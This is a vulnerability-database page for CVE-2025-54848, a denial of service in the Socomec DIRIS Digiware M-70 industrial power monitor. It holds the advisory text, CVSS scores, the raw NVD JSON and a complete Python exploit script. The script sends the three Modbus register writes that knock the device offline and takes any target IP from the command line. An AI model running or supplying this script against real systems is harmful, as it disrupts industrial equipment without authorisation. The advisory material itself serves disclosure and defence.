Security Vulnerability Report
中文
CVE-2025-54848 CVSS 7.5 HIGH

CVE-2025-54848

Published: 2025-12-01 16:15:54
Last Modified: 2025-12-08 19:29:06

Description

A denial of service vulnerability exists in the Modbus TCP and Modbus RTU over TCP functionality of Socomec DIRIS Digiware M-70 1.6.9. A specially crafted series of network requests can lead to a denial of service. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.An attacker can trigger this denial-of-service condition by sending a sequence of Modbus TCP messages to port 502 using the Write Single Register function code (6). The attack sequence begins with a message to register 58112 with a value of 1000, indicating that a configuration change will follow. Next, a message is sent to register 29440 with a value corresponding to the new Modbus address to be configured. Finally, a message to register 57856 with a value of 161 commits the configuration change. After this configuration change, the device will be in a denial-of-service state.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:socomec:diris_digiware_m-70_firmware:1.6.9:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:socomec:diris_digiware_m-70:-:*:*:*:*:*:*:* - NOT VULNERABLE
Socomec DIRIS Digiware M-70 1.6.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-54848 - Socomec DIRIS Digiware M-70 DoS PoC Modbus TCP Write Single Register Function Code 6 Exploit """ import socket import struct import time def create_modbus_write_single_register(unit_id, ref_num, value): """ Create Modbus Write Single Register (Function Code 6) packet """ transaction_id = 0x0001 # Transaction Identifier protocol_id = 0x0000 # Protocol Identifier (Modbus) # PDU: Function Code (6) + Reference Number + Value pdu = struct.pack('>BHH', 6, ref_num, value) # Length: Unit ID + PDU length = 1 + len(pdu) # MBAP Header mbap = struct.pack('>HHHB', transaction_id, protocol_id, length, unit_id) return mbap + pdu def exploit_dos(target_ip, target_port=502, unit_id=1): """ Execute the DoS attack sequence """ print(f"[*] Targeting {target_ip}:{target_port}") print("[*] Sending Modbus TCP configuration change sequence...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Step 1: Write to register 58112 with value 1000 # Indicates configuration change will follow print("[*] Step 1: Writing to register 58112 (value=1000)") packet1 = create_modbus_write_single_register(unit_id, 58112, 1000) sock.send(packet1) response1 = sock.recv(1024) print(f"[+] Step 1 response: {response1.hex()}") time.sleep(0.5) # Step 2: Write to register 29440 with new Modbus address # Set the new Modbus address to be configured print("[*] Step 2: Writing to register 29440 (value=<new_addr>)") packet2 = create_modbus_write_single_register(unit_id, 29440, 1) # Example address sock.send(packet2) response2 = sock.recv(1024) print(f"[+] Step 2 response: {response2.hex()}") time.sleep(0.5) # Step 3: Write to register 57856 with value 161 # Commit the configuration change print("[*] Step 3: Writing to register 57856 (value=161)") packet3 = create_modbus_write_single_register(unit_id, 57856, 161) sock.send(packet3) response3 = sock.recv(1024) print(f"[+] Step 3 response: {response3.hex()}") sock.close() print("[+] Attack sequence completed. Device should be in DoS state.") except socket.error as e: print(f"[-] Socket error: {e}") return False return True if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 502 exploit_dos(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54848", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:53.723", "lastModified": "2025-12-08T19:29:05.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial of service vulnerability exists in the Modbus TCP and Modbus RTU over TCP functionality of Socomec DIRIS Digiware M-70 1.6.9. A specially crafted series of network requests can lead to a denial of service. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.An attacker can trigger this denial-of-service condition by sending a sequence of Modbus TCP messages to port 502 using the Write Single Register function code (6). The attack sequence begins with a message to register 58112 with a value of 1000, indicating that a configuration change will follow. Next, a message is sent to register 29440 with a value corresponding to the new Modbus address to be configured. Finally, a message to register 57856 with a value of 161 commits the configuration change. After this configuration change, the device will be in a denial-of-service state."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:socomec:diris_digiware_m-70_firmware:1.6.9:*:*:*:*:*:*:*", "matchCriteriaId": "741E83B6-F217-46E7-9E3A-8E446250C785"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:socomec:diris_digiware_m-70:-:*:*:*:*:*:*:*", "matchCriteriaId": "76CAA8C6-29FD-40F3-9702-790CD73F3052"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2248", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}